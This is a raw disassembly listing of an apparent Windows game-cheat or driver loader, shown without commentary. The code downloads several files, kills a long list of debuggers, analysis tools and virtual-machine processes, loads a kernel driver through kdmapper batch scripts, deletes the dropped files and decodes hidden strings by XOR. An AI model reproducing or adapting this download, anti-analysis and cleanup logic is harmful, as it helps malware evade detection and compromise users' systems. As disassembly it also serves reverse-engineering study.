lea rcx, [rbp + 0x2e8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x288]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x2a8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x248]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x268]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x208]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x228]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1c8]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x1e8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x188]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x1a8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x148]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x168]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x108]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x128]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xc8]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0xe8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x88]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0xa8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x48]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x68]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 8]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x28]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp - 0x38]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp - 0x18]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1748]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x1768]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1708]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x1728]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x16c8]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x16e8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp - 0x78]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x16a8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp - 0x78]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x1688]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp - 0x78]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x1668]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp - 0x78]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x1648]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp - 0x78]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x1628]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp - 0x78]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x1608]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp - 0x78]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x15e8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_x64dbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_x32dbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_OllyDbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ImmunityDebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_WinDbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_gdb
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_radare2
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_IDA_Free
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_IDA_Starter.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_IDA_Freeware
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_IDA_Demo
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_IDA_Professional
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_IDA_Standard
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_IDA_Advanced
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_IDA_Ultimate
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_IDA_Hex_Rays
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_IDA_Decompiler
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_IDA_Disassembler
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_radare2.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Cerbero
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Hopper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Ghidra
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Binary_Ninja
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_JEB
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Cutter
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Jadx_GUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_jadx
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Enjarify
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Procyon
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_CFR
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Fernflower
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_JD
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_EDB
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Capstone
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_radare
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Voltron
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Hopper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Binary_Ninja
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Frida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_JEB
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Ghidra
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Cuckoo
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Pin
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_IntelPin
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_WinDbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_VT_x
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_PANDA
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Bochs
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_QEMU
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_VirtualBox
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_VMware
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_XEN
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Hyper_V
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, str.C:Program_Files__x86_Common_FilesSystem_adoNXTDRIVERLOAD2.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, str.C:Program_Files__x86_Common_FilesSystem_adoNXTDRIVERLOAD.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:Program_Files__x86_Common_FilesSystem_adokdmapper_Release.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Program_Files__x86_Common_FilesSystem_adodriver.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Program_Files__x86_Common_FilesSystem_adocallbackdriver.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Program_Files__x86_Common_FilesSystem_adoNXTDRIVERLOAD.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Program_Files__x86_Common_FilesSystem_adoNXTDRIVERLOAD2.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movups xmm0, xmmword [0x14007c248]
movups xmmword [rsp + 0x40], xmm0
movsd xmm0, qword [0x14007c258]
movsd qword [rsp + 0x50], xmm0
mov eax, dword [0x14007c260]
mov dword [rsp + 0x58], eax
movzx eax, word [0x14007c264]
mov word [rsp + 0x5c], ax
mov edi, dword [reloc.WS2_32.dll_accept]
cmp byte [0x14007c265], 0
je 0x14002223e
mov ecx, ebx
cmp edi, 2
jl 0x1400221fc
movdqa xmm5, xmmword [0x14007ec60]
movdqa xmm4, xmmword [0x14007ecb0]
movdqa xmm6, xmmword [0x14007ec80]
movdqa xmm0, xmmword [str.6666666666666666_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rdx, [rsp + 0x44]
mov r8d, dword [rsp + 0x30]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007ec90]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007ec90]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x18
jl 0x1400220f2
cmp ecx, 0x1e
jge 0x14002223e
movsxd rax, ecx
lea r8, [rsp + 0x40]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x36
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x1e
jl 0x140022210
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140019a60
lea rdx, [0x14001c690]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r9d, 0x41
lea r8, str.Load_Blocker
lea rdx, str.Press_OK_to_load_the_blocker.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 1
jne 0x1400224af
movups xmm0, xmmword [0x14007c268]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x14007c278]
movups xmmword [rsp + 0x50], xmm1
movzx eax, word [0x14007c288]
mov word [rsp + 0x60], ax
movzx eax, byte [0x14007c28a]
mov byte [rsp + 0x62], al
cmp edi, 2
jl 0x1400223fa
movdqa xmm5, xmmword [0x14007ec60]
movdqa xmm4, xmmword [0x14007ecb0]
movdqa xmm6, xmmword [0x14007ec80]
movdqa xmm0, xmmword [str.6666666666666666_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007ec90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007ec90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x20
jl 0x1400222f0
cmp eax, 0x23
jge 0x14002243e
movsxd rax, ebx
lea r8, [rsp + 0x40]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, bl
sub al, dl
add al, 0x36
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x23
jl 0x140022410
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140019a60
lea rdx, [0x14001c690]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x190
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140022690
lea rdx, str.___Close_Cod_Before_You_Load_The_Driver
call fcn.140019a60
lea rdx, [0x14001c690]
mov rcx, rax
